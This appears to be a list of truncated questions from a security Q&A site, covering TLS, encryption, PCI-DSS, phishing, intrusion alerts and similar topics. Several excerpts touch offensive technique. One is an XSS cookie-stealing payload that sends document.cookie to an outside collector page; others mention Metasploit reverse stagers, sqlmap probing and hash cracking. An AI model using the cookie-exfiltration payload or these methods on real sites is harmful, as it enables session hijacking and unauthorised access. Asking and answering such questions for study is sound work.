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Is using an HMAC in web service messages overkill if you are already using SSL and Access Tokens? I’m thinking of further ways to secure a service, and HMAC message signing is one. But it comes with a cost, more complicated to implement, not as standard, etc. So I would need some really good reasons to recommend adding...
I've recently been tasked with a research project to write a "secure messaging application" using "government approved protocols" (the government being the USA). I'm taking this to mean asymmetric encryption and government approved cryptographic algorithms, AKA FIPS 140(-1?), and hashing (FIPS 180-x). Some Android dev...
I am analyzing Snort alert log and cannot figure what [1:1071:6] means in 10/12-12:44:28.793118 [] [1:1071:6] WEB-MISC .htpasswd access [] [Classification: Web Application Attack] [Priority: 1] {TCP} Or let's say [1:100000160:2] in other case. I couldn't find what that means neither in manuals nor in rules. How ...
I am using Django which is a web framework for Python. I love it but the session handling is cookie-based. Now over SSL I'm sure it's reasonably "secure" but I don't think there is any kind of fail safe for if that cookie gets compromised. I should also mention I am using Apache2 with Mod_WSGI. For each Apache2 session...
I have written my webservice with HTTPS. But as per my requirement I should provide authentication. So thought of going with HTTPS SSL. could anyone help me with steps like moving HTTP to HTTPS and SSL certification part with step by step I did by adding below in service and axis XML files: <Connector port="8443" proto...
As per PCI-DSS we need to dispose the old keys after the timespan. After the cryptoperiod (lets say one year) time span, do I need to encrypt all (20k card holders) the data once again with the newly generated key?
In Jacob Applebaum's latest talk at the 30c3 conference, he advised all journalists to use Tails or similar OS for their laptops. Does anyone know of a similar OS or functionality for Smartphones? I know some businesses who have journalists who will be frequently travelling to Sochi, Russia, for the Winter Olympics. T...
There was already a similar topic "Why AES is not used for secure hashing, instead of SHA-x?", but it was not about files specifically, and I, personally, am not convinced by the answers in it. "AES is not designed for this job" is not an answer. What bothers me with those answers is, that they theoreticize about how A...
Introduction: I am trying to learn the basics of Directory Traversal. Question: While trying to understand the 2-Byte Unicode conversion of characters, I came across this_SANS ARTICLE that explains Directory Traversal vulnerability. It states that / is represented as %C0%2F but the representation %C0%AF also works whic...
I have a client - server setup with TLS communication. I want to be sure of mutual authentication. The safety that certificates can offer assumes that the private key that links to the certificate remains private. But isn't this the same as assuming a pre-shared key remains private? Because both the client and the serv...
As I remember from my micro controller course, the stack is at the end of the memory, while at the begin are some interrupt pointers, program code and later data. Since the stack is at the end of the memory it grows in the direction to smaller addresses. And at every function call a new stack frame is pushed onto it. W...
If a java application makes a request for my MAC address can I block it in any way? Are there any security programs which can do this? -- What I am asking is if there is anyway I can prevent Java applications from knowing my MAC address.
I have a mail server with a MySQL database back-end. The mail server and MySQL DB are both installed on the same Windows machine. Is there any benefit to using SSL connections between the two applications on localhost? I think the connection is using TCP and not local sockets. Based on this question about SSL on a t...
I'm generating a Public/Private key pair in PHP with the following: <?php $config = array( "digest_alg" => "sha512", "private_key_bits" => 4096, "private_key_type" => OPENSSL_KEYTYPE_RSA, ); // Create the private and public key $res = openssl_pkey_new($config); // Extract the private key from $res to $pr...
I purchased a Comodo SSL certificate (OV), and set up the Apache vhost config so that all traffic is forwarded to 443. Intermittently some users are being prompted to supply a client certificate; these users all seem to be OSX users, but it happens on both Safari and Chrome. Why does this happen? Why is it only OSX, an...
If I have full disk encryption on my computer and want to decrypt it, but want to delete senstive documents before decrypting, how do I ensure they are unrecoverable post-decryption? Edit: I suspect someone will mention a File Schredder type program. My understanding is that these still leave traces that can be recover...
So if a provider has software that blocks you from using their internet to connect to, say, Spotify or Skype. Is there a way to block your computer from communicating that this program is running? Or to disguise it as another program?
If I change the extension of a Keepass database (i.e. change the .kdbx to something like .txt), Keepass is still able to open it. Is this an effective way for hiding the databases from an adversary?! Probably no. So, what methods are there for hiding such files? What do you experts think about OpenPuff? Is there any m...
My machine at work is behind a firewall. To connect to it first i need to connect (ssh) on another machine and then through this machine i make the ssh on my machine. In other words, there is a middle machine between my local computer and the final remote computer. How can i create an encrypted tunnel between my local ...
In order to steer our future, it is important to understand our past. Now as the end of Windows XP draws near it would be interesting to see how the worlds most popular operating system fared security-wise. Specifically, how many known vulnerabilities were present in the original RTM version of Windows XP?
Can you please explain what's is the main difference between for this both DPAPI and HSM? As far as I understand both protecting the data, the way of protection is difference HSM is physical device and DPAPI provide operating system-level data protection. Which is the best method/way to protect the Cardholder data...
I know a little bit about network security but it's only about enough to know there's a lot I don't know. My requirement is to add a 2nd wifi to my current setup (1 wifi emitted by a 1-physical-wifi-radio OpenWRT router; and a bunch of computers connected to the wifi) and to prevent users of the 2nd wifi from accessing...
I was wondering that what make RSA Asymmetric Cryptography Algorithm special. So I wrote a very simple algorithm that do the same work (Generate Public and Private Key) Now I want to ask you that What is the excellence of RSA vs my algorithm ? What's your idea? This is my algorithm : n = random e = factorial(n) /* Pu...
I'm working on a tool that exploits SearchIndexer.exe on Windows 7 x86 and connects back to a metasploit multi/handler, using standard metasploit reverse TCP stagers. The exploit seems to function as intended in the debugger, and works for other processes such as calc.exe. However, when exploiting SearchIndexer.exe, th...
I recently learned a bit more about DNS cache poisoning, and my understanding of the basic way it works is by editing the DNS cache so that when the victim types in, say, www.google.com they get the attacker's IP instead of google's. So here is my question - is the following attack viable? 1) Take an address such as ww...
I need to use an external service that can only be accessed by password. I don't like the idea of storing the plaintext password on the server, but AFAIK there's not much I can do. Considering this service will only be accessed by a client (that also can't know the whole password), my idea to try to make things a bit h...
So I was watching some Backtrack learning videos and similar stuff, and noticed how there is always talk about getting people's information. For example if someone using unsecured WIFI you can see what pages he is browsing of even steal his Facebook session. So as far as I understand, hacker cannot get any real value f...
Reading about Silent Circle, and more specifically Silent Text, I learnt that by implementing SAS, the likelyhood of a MITM attack is greatly reduced. Could someone please explain how this works? If there really is someone intercepting your text-based communications, what is to stop them simply modifying the SAS exch...
I was duped into believing a phone caller was a computer tech. I allowed him remote access and when I refused to pay a fee at the end of all his changes he hung up. My start up now has an unknown password. Is there anything I can do?
Let me first thank you all for the great info. you are providing. My question is; Do files stored on USB once opened and viewed by TV, PC etc. have any footprint, backup or residue files left on the hosting device? If yes, are the files recoverable from the TV or PC it was previewed on alone without using or accessing...
This is coming from a joke originally in French: Enter your password. carrot Sorry, your password must be more than 8 characters. carottegéante (giant carrot) Sorry, your password must contain a number 1carottegéante (1 giant carrot) Sorry, your password must not contain accented characters 50putaindecarottesgeant...
I've just seen this article regarding the phasing out of intranet names on SSL certificates. However, CAs such as this one claim to still issue them and it will be "Trusted by all popular browsers" even though they are listed as members in the guidelines document. There is also a guidance document available regarding i...
I'm currently studying Computer Science, where we're teached Java programming. I want to get into the IT-security field, but it seems to me that Ruby and Python are more relevant for that, so I have a hard time motivating myself to learn Java. But do Java have a place in modern IT-Security compared to say, Ruby or Pyth...
List-Unsubscribe email header makes it possible to recipient to automatically unsubscribe from the mailing list: List-Unsubscribe: <mailto:list@host.com?subject=unsubscribe&body=qwe> Free email service we build adds the "Unsubscribe" button in the UI, which will trigger sending a email to list@host.com with specified ...
My question is regarding HTTPS form submission. One of our website is using HTTPS, we display the login page to the user via HTTPS protocol. When the form is submitted, if we try to intercept the request using a tool called "Burp Suite" before sending it to the server, I see that the form Data is not encrypted. Is th...
Why are there recommendations to change passwords with certain intervals? If I have a good password, e.g. a long wrongspelled odd sentence with a couple of special characters thrown in, why is the security compromised if I keep this password year after year? To my knowledge there are two ways of getting trouble: 1) Bru...
Is there a danger that a webpage could have a hidden form with a file upload input and js script that would try and take a random guesses at files on a users system and attach them to the form and submit it ? The js for instance could try and and submit the form multiple times trying for files like /users/name/document...
I'm updating a login system. The password is sent to the server as SHA512(password + long_string). I want to switch this to something like SHA512(username + password) in the future. By doing that I don't need to add "please login again" dialogs when the login system changes, and the passwords can be updated to the new ...
Is it possible to automatically search the Metasploit database for usable exploits based on information about the vulnerabilities on the hosts? Searching in Metasploit for each CVE number to see if there is an exploit available can be quite tedious, so can this be automated in any way? I have filled my Metasploit data...
In Samsung Knox, you have 20 password attempts. However, it is never explained what happens if you run out of attempts. Does it delete your Knox data, do you need to enter the recovery PIN or is it something else?
Has anybody seen a tool where you can collect Service banners from something like nmap, output them to a file, the vuln vulnerability checks offline?
Long story short - PC with kleopatra processor died, and I only have a backup of my public key. I've gone into the HDD and tried to re-jig kleopatra in the hope it would remember everything for me on another machine but that hasn't gone well... Do I just need to get this HDD into a new PC and boot from it, then export ...
We're developing an application that has the ability to run across multiple top level domains, each with its own sub domain. (www.foo.com, www.bar.com, would each point to the same application on the same server, mobile sub domains pointing to a different application on the same server.) Reading up on certificate creat...
I have a client that does work in rural areas where there are no cellphone or internet connections. They need a way to take credit card information in the field, bring it back to their office where they can charge the client. I have fairly significant background in databases, networking, and programming, but I have ne...
Given the uncertainty about data being left in the clear, I've hesitated to use SSDs where I need full-disk encryption. While some SSDs employ hardware encryption, they're quite expensive, and there is inadequate transparency about implementation. I've been wondering whether RAID6 arrays of SSDs could be encrypted secu...
Our University recently had a case where some notorious fellows used a fake emailing service to send an email to all students on behalf of the administration. Although most good email services (like Gmail?) can warn us that the mail is likely a phishing attempt, many users not educated in security may fall in this trap...
What pros/cons of WDF driver model vs. WDM for rootkits and antivirus drivers. From what I've seen and from personal experience (though I'm still a newbie) WDM is good in that you have to do most of the stuff manually and at the same time you are given the right foundation elements so it is like building a Lego. On the...
Not sure if this is the proper forum for my question, but I've recently read over at Encrypt Everything that CTCP is a poor choice if you want to keep your chats secure. I'm beginning at security, so I'm not sure on why DCC would fall behind IRC (fewer possible leaks when direct contact is required, no?) but if this is...
Is there a list of certificate authorities installed in popular browsers and mobile platforms? I am considering a few alternatives for an SSL certificate, and I would like to make sure that the one that I'm buying is covered by all relevant platforms.
I'm working on a simple file encryption tool. Basically, here's how my program works: password = get_user_typed_password() salt = uuid4() key = bcrypt(password + salt) cipher = AES(key) for block in input_file: output_file.write(AES.encrypt(block)) My question is about "how could I make a possibly short and weak...
I found the following general advice from WikiHow in an article on changing password: It is very dangerous to stay logged in as root for an extended period of time. Log out immediately after completing this process. If I have to perform a number of administrative tasks requiring root access, is it safer to log in a...
My laptop BIOS is password protected. Probably the password can be bypassed using some hardware and software means. But is it possible that somebody having access to laptop but not knowing the password can bypass it without me knowing it when I log on at a later stage ? I am trying to protect my laptop from malware / s...
Someone just asked me: How can I know whether a message or data is encrypted during a transaction on trading website? I know most (maybe all) online trading sites uses encryption techniques but I couldn't find a way to check if my data is encrypted or not.
Widespread ATM room designs are such that the machine faces the door which is less secure as compared to a situation wherein I face the door when using the ATM.
Say I open a .doc file from my UFD. I want to avoid leaving any traces in Windows (e.g. recent files, back-up files, swaps, etc) , or at least be able to delete all easily. So in this case, I want to isolate the MS Word and prevent it from having any contact with Windows, or gather all the traces in some virtual space ...
I've been researching into some methods to ensure that disk encryption keys can't be stolen, and one that I've come across is called TRESOR. With this kernel patch, you can create a partition that is encrypted using AES, and the keys are stored in the CPU caches instead of in RAM. At first, I thought this was great, ...
I want to encrypt a file with AES in CBC mode (maybe another mode is better for file encryption...I don't know, but suggestions are welcome!). What I usually do is that I first write a few random data (256 bits, just to muddy the waters), then my salt and my IV (which are both uuid4...or generated from a secure PRNG) a...
Wishing you all a great 2014. I hope this is the right section. Basically we have a Dell Poweredge R520 server in our office, and we now want to install some accounting software that can be accessed remotely. Our local IT company is telling us that a new, separate server is needed for "Security reasons". It has been a ...
I'm looking through old tests in an information security course - and there's a question about CCA and CPA security of RSA. I can't seem to grasp how I'd either show insecurity or prove the security for this. (This is not a homework question, it is for my own personal understanding) The question is as follows (relates ...
I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete newbie in such matters. The strangest thing was a series of POSTs consisting of percentage signs and numbers. I know next...
I'm attempting to build a SOAP client to consume the services provided by eMedNy. They've provided me with a client X.509 certificate along with their server X.509 certificate. Their user guide contains the following sample SOAP request: <?xml version="1.0" encoding="utf-8" ?> <soapenv:Envelope xmlns:soapenv="http...
DISCLAIMER: The vulnerable box that we are testing on belongs to us, and all the actions are under surveilence, hence we are not doing anything illegal here. I'm testing a Ubuntu 8.04 box, it's known as having a vulnerability of weak OpenSSL keys. The script provided by Debian confirmed that the server is vulnerable: $...
Hack into their system and change the "Sell by" date so that it is immediately bad. How long do you think until they notice, if you pull it off?
I was told by a friend earlier that Encrypting something that needs to be reversed is a bad idea as it gives the illusion of security Is this true? The way I see it, it can't really hurt to encrypt data.
I have 2 questions regarding IPSec. This is the last 2 optional questions of my homework: Scenario when combining AH and ESP can be needed? Scenario when combining Tunnel and Transport modes can be needed? These are the optional questions, but I am just curious and can't answer on my own.
A few weeks ago I've changed the password on my old laptop, I forgot the password as I wasn't using it often. Now I need to recover the password because I used it to encrypt some important documents. I've extracted the hashes of the laptop using Ubuntu, I wanted to crack them with hashcat but I'm not sure what type of ...
This would probably require knocking on people's doors, but — couldn't the endpoint ask the exit node what the relay node was, and then ask the relay node what the entry node was, and then ask the entry node what the origin was? Is it just not logged long enough for the NSA etc. to show up at the Tor nodes' doors? I am...
Perhaps I am being both naive and overly ambitious in my first post but I have a huge interest in learning about network and system security and am at a loss as to where to begin. I realize that stack exchange sites are not too keen on having large broad sweeping questions with potentially opinionated answers, but I th...
I recently had been wondering if there is a way to erase my LUKS keys from RAM before I suspend my device (usually a laptop) to S3 mode. I am interested in a solution that would work for my / partition. The way I imagine this, I'd like my system to ask me for password again when I resume it. If such a solution does not...
Recently my Drupal site on a Linux server has been targeted by session hijacking attacks. I guess the attacks were originated from images containing malicious code which where uploaded to the web root because I have found some of the crafted images by looking at uploaded files. So I am wondering how best to find all t...
On a typical day in the internet, there would be numerous botnets commanding zombie computers to scan for servers with vulnerabilities. Every now and then, a new exploit would be discovered. Then, the zombie computers would be reprogrammed to look for the new flaw. If a server is not updated immediately when an exploit...
I used to use a master password and "Windows User Account" to get into my password datasbase with Keepass 2. Then I realized the "Windows User Account" option is garbage because if you ever want to upgrade, migrate, reinstall the OS then the database is lost. So now I use the master password and a key file. My question...
I have a general security question: Let's say there is a client-server application with authorisation by login and password using a secure connection between server and client (https). User can have different permissions that allow user to access to different kind of information provided by the server. This is only a p...
I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant. I need to use a 1394(Firewire) connection, however am concerned with possible DMA vulnerabilities. From my understanding a firewire device could spoof the amount of memory it requires access to, suc...
I understand what an SSL certificate does but I need help evaluating if I need one for my client's website. His website sells holiday packages online but does so without asking for any credit card information. When the visitor tries to book a package, he is sent to a bank's third party gateway where he submits his info...
I have just inherited a running wordpress installation from another agency and the theme (twentyeleven) they are using for my client has been corrupted. This is what most of the theme's php files looks like at the beginning of the file: What kind of attack is this? How do I identify it? And what steps should I take no...
I am trying to determine if hosts are up. For hosts where a ping fails, I run a Nmap (6.40) Regular and/or Quick Scan. For a subset of my hosts, the Nmap response is "Host seems down". As a follow up per the Nmap response, I run the no ping port scan -Pn. For the -Pn scans, on the 10-15 different hosts I have tried, t...
I heard of the recent research that claims to have made possible the sniffing of even 4096-bit GPG keys under certain conditions. What is the impact of this vulnerability for home users? If this is a real risk, how can one protect against it? Also, I heard that this vulnerability was recently fixed. How does the fix wo...
I wanted to know which language should i chose if i want to have a career in information security later on (about to get into college). I have even read that c dominates c++ and if that is the case is it tough switching between the syntax of the two?. I would also appreciate if you could mention some sites where i can ...
openssl_pkcs7_encrypt() requires the data to be encrypted to be read from a file and so unfortunately it requires sensitive data to be written to temporary file before being encrypted. In a shared hosting environment, what steps can I take to minimise the risk of the sensitive data being read / stolen when having to mo...
So, I used the crypto module in node.js to implement a secure key generator and encrypt/decrypt functions. Knowing that security's best friend is a spotlight on the implementation, I want to throw it out here and make sure I didn't fall into any holes. A little about my use case: I'm building an app that communicates ...
Assuming you have a block cipher that (when given a 128-bit key) yields an instance of a true pseudorandom permutation... how can you use that block cipher within the above constraints to achieve practically perfect secrecy?
I want nginx to deny users who have folders inside /webroot/uploads e.g. /webroot/uploads/user1 /webroot/uploads/user2 /webroot/uploads/user999 to execute any shell (php, pl, py, binary). The shells are often hidden in jpg or gif files. like badfile.php.jpg I also see malacious binary files being uploaded to the folde...
Many of my users today got email from docs#@mydomain.com (where docs# was between docs0 and docs8 or so, and mydomain.com is obviously changed from my real domain name), with the sender name of "Administrator." The message had subject "New Voice message" and message: "You have received a voice mail message. Message l...
Summary Once a user logs into a web site and his username/password credentials are verified and an active session is established, is it possible to avoid hitting the DB for each and every request from that user? What is the recommended method of securely authenticating subsequent requests for the life of the session, w...
Let's assume there is a database containing names and each name is hashed and the clear-text is deleted. If an attacker were to steal this database, would he/she be able to get the list of names?
I am in the very early stages of making my application FIPS 140-2 compliant... so early in fact that I am not sure what level it has to be... just writing a preliminary recommendations document at this point. However, I am fairly certain that the level will end up being either 1 or 2; so if it's not too much trouble, p...
The diagram below is a thought experiment that could provide a certain level of privacy to mobile (smart)phone users, beyond what they currently have. Some of it is purely theoretical, but it should nonetheless be possible. I would love some thoughts/advice/criticism on this: Short explanation The users phone has al...
I'm trying to find some vulnerable points in my website. My website like, www.example.com/index.php?menu_id=1002&news_id=5. When i trying to find these points with sql map, it tries for menu id. But i want to check the news id. Is that possible?
If I have an important data in a disk (flash, SSD or HDD) and I deleted them, I know it is easy to recover these deleted data (even by using free software like recuva. Now if I fill this disk with any data, let's say a large movie file or so until the disk has no more empty space then deleting these dummy files again, ...
I'm not particularly well versed in IT security so please bear with me. I recently discovered that my bank's online system will accept passwords that consist of the correct password, and a string of random characters. So for example, if my password is "password", it will accept things like "password1" or "password4343...
According to PCI-DSS 3.4 Requirement: Render PAN unreadable anywhere it is stored by using the below methods: One-way hash Truncation Index tokens and pads Strong cryptography with associated key-management processes and procedures My question based on above requirement is: So if need to encrypt the credit card deta...
The question is simple. For example, we access a database of any website. And looked up for datas. So, is the website owner can see me? If he/she can see, how can i protect? [These are for security of course. I'm trying to think as the bad boy] Thanks for answering.
I'm practicing in VM following the OWASP guide. I know that is possible to steal the cookie by redirecting to "False" page etc. but I would like to steal the cookie without redirecting on another page. So, if you have some guestbook and then you put: document.location= "http://www.example.com/cookie_catcher.php?c=" + d...
Is there any comparison of bcrypt versus scrypt? I am particularly interested in how bcrypt(10) bcrypt(20) or even bcrypt(30) scales in comparison to scrypt(1)?
On our forgot password reset form, is it ok to leak that a given e-mail address entered is invalid? Or should we always just return success and check your e-mail, even if the e-mail is not valid. I feel like always returning success can provide a bad user experience, i.e. if a user is trying to remember which e-mail th...
History I got an email this afternoon to my gmail from "paypal@e.paypal.com" with mailed-by: na.e.paypal.com and signed-by: e.paypal.com. Gmail did not report it as spam/phishing/suspicious and it went straight to my inbox, so the MX records must check out. The email effectively linked to this url. The URL, when click...
I have an internal network of IP network cameras. The feeds from these cameras are ingested by a single server and presented from a unified web interface both internally and to the outside world (both after password screening). There are two layers of protection - one fairly simple one at the barrier to the WAN that de...
I have an app server and a db server. I want to send certain data to the db encrypted, using a DEK (data encryption key). Ideally, this DEK is read protected on the linux file system and encrypted using a KEK (key encryption key). On Windows, I would use DPAPI to protect the KEK, but on Linux, I am unsure the best way ...
Here where I live, it is believed that all the internet traffic goes through the hands of government agencies, and the telecommunication office is actually owned by the government. Given the situation, I have some concerns: Can government agencies tamper with the websites that use HTTPS? How secure is the login data ...

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